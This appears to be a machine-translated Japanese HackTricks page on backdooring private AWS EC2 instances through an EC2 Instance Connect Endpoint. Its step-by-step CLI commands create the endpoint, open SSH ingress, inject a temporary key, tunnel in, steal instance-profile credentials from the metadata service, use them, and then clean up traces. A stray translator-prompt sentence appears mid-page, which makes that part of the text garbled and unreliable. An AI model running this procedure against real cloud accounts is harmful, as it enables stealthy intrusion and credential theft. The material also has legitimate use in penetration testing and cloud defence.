# AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection

{{#include ../../../../banners/hacktricks-training.md}}

EC2 Instance Connect Endpoint (EIC Endpoint) を悪用して、プライベートな EC2 インスタンス（no public IP/bastion）への受信 SSH アクセスを獲得する方法:
- ターゲットサブネット内に EIC Endpoint を作成する
- ターゲット SG に対して EIC Endpoint SG からの受信 SSH を許可する
- `ec2-instance-connect:SendSSHPublicKey` を使って短時間有効（約60秒）の SSH 公開鍵を注入する
- EIC トンネルを開き、pivot してインスタンスに到達し、IMDS から instance profile の認証情報を窃取する

Impact: bastions や public IP 制限を回避してプライベート EC2 インスタンスへのステルスなリモートアクセス経路を確立します。攻撃者は instance profile を利用してアカウント内で操作できます。

## 要件
- 必要な権限:
- `ec2:CreateInstanceConnectEndpoint`, `ec2:Describe*`, `ec2:AuthorizeSecurityGroupIngress`
- `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel`
- SSH サーバーが稼働し、EC2 Instance Connect が有効なターゲットの Linux インスタンス (Amazon Linux 2 または Ubuntu 20.04+)。デフォルトユーザー: `ec2-user` (AL2) または `ubuntu` (Ubuntu).

## 変数
```bash
export REGION=us-east-1
export INSTANCE_ID=<i-xxxxxxxxxxxx>
export SUBNET_ID=<subnet-xxxxxxxx>
export VPC_ID=<vpc-xxxxxxxx>
export TARGET_SG_ID=<sg-of-target-instance>
export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
export OS_USER=ec2-user
```
## EIC エンドポイントを作成する
```bash
aws ec2 create-instance-connect-endpoint \
--subnet-id "$SUBNET_ID" \
--security-group-ids "$ENDPOINT_SG_ID" \
--tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \
--region "$REGION" \
--query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID

# Wait until ready
while true; do
aws ec2 describe-instance-connect-endpoints \
--instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \
--query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE
grep -q 'create-complete' EIC_STATE && break
sleep 5
done
```
## EIC Endpoint から target instance へのトラフィックを許可する
```bash
aws ec2 authorize-security-group-ingress \
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
```
## 一時的な SSH キーを注入してトンネルを開く
```bash
# Generate throwaway key
ssh-keygen -t ed25519 -f /tmp/eic -N ''

# Send short-lived SSH pubkey (valid ~60s)
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "$OS_USER" \
--ssh-public-key file:///tmp/eic.pub \
--region "$REGION"

# Open a local tunnel to instance:22 via the EIC Endpoint
aws ec2-instance-connect open-tunnel \
--instance-id "$INSTANCE_ID" \
--instance-connect-endpoint-id "$(cat EIC_ID)" \
--local-port 2222 --remote-port 22 --region "$REGION" &
TUN_PID=$!; sleep 2

# SSH via the tunnel (within the 60s window)
ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no
```
## Post-exploitation 実証 (instance profile credentials を窃取)
```bash
# From the shell inside the instance
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)
```
翻訳する英語テキストを貼ってください。コード、リンク、タグなどは翻訳せずそのまま保持します。
```json
{
"Code": "Success",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "w0G...",
"Token": "IQoJ...",
"Expiration": "2025-10-08T04:09:52Z"
}
```
盗まれた creds をローカルで使用して本人確認を行う:
```bash
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<Token>
aws sts get-caller-identity --region "$REGION"
# => arn:aws:sts::<ACCOUNT_ID>:assumed-role/<InstanceRoleName>/<InstanceId>
```
## クリーンアップ
```bash
# Revoke SG ingress on the target
aws ec2 revoke-security-group-ingress \
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true

# Delete EIC Endpoint
aws ec2 delete-instance-connect-endpoint \
--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"
```
> 注記
> - 注入された SSH キーは約60秒しか有効ではありません。トンネル/SSH を開く直前にキーを送信してください。
> - `OS_USER` は AMI と一致する必要があります（例: `ubuntu` は Ubuntu、`ec2-user` は Amazon Linux 2）。
{{#include ../../../../banners/hacktricks-training.md}}
